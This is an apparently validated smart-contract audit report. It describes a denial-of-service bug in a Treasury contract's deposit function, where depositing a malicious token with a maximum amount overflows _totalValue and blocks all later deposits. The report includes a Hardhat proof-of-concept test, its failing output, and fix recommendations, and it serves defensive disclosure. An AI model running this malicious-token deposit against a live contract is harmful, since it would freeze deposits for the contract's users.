Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

Treasury can be DoS from depositting

Summary

Function Treasury::deposit() allows anyone to deposit tokens into the treasury. However, by allowing arbitrary token, an attacker can deposit malicious token in order to DoS the contract.

Vulnerability Details

The function Treasury::deposit() allows caller to deposit arbitrary token with arbitrary amount and increase the _totalValue.

The problem arises when an attacker deposit a malicious token with a very large amount to make _totalValue reaches max_uint256. This will DoS any deposits afterward because of arithmetic overflow at _totalValue += amount.

function deposit(address token, uint256 amount) external override nonReentrant {
if (token == address(0)) revert InvalidAddress();
if (amount == 0) revert InvalidAmount();
@> IERC20(token).transferFrom(msg.sender, address(this), amount);
_balances[token] += amount;
@> _totalValue += amount;
emit Deposited(token, amount);
}

PoC

Add the test to test/unit/core/collectors/Treasury.test.js

describe("Deposits", () => {
...
it.only("can deposit malicious token to permanent DoS contract", async function(){
// @audit POC can deposit malicious token to permanent DoS contract
const usdc = token;
const MockToken = await ethers.getContractFactory("MockToken");
let maliciousToken = await MockToken.deploy("Test Token", "TEST", 18);
// attacker deposits MAX_UINT amount of malicious token
await maliciousToken.mint(user2.address, ethers.MaxUint256);
await maliciousToken.connect(user2).approve(treasury.target, ethers.MaxUint256);
await treasury.connect(user2).deposit(await maliciousToken.getAddress(), ethers.MaxUint256)
console.log(`total value ${await treasury.getTotalValue()}`)
// can not deposit anymore
const amount = ethers.parseEther("100");
await usdc.connect(user1).approve(treasury.target, amount)
await treasury.connect(user1).deposit(await usdc.getAddress(), amount);
})

Run the test and console shows:

Treasury
Deposits
total value 115792089237316195423570985008687907853269984665640564039457584007913129639935
1) can deposit malicious token to permanent DoS contract
0 passing (2s)
1 failing
1) Treasury
Deposits
can deposit malicious token to permanent DoS contract:
Error: VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation overflowed outside of an unchecked block)
at Treasury.deposit (contracts/core/collectors/Treasury.sol:57)

Impact

  • DoS Treasury contract from deposits

Tools Used

Manual

Recommendations

  • Consider whitelisting tokens

  • Or remove the usage of _totalValue

Updates

Lead Judging Commences

inallhonesty Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Treasury::deposit increments _totalValue regardless of the token, be it malicious, different decimals, FoT etc.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.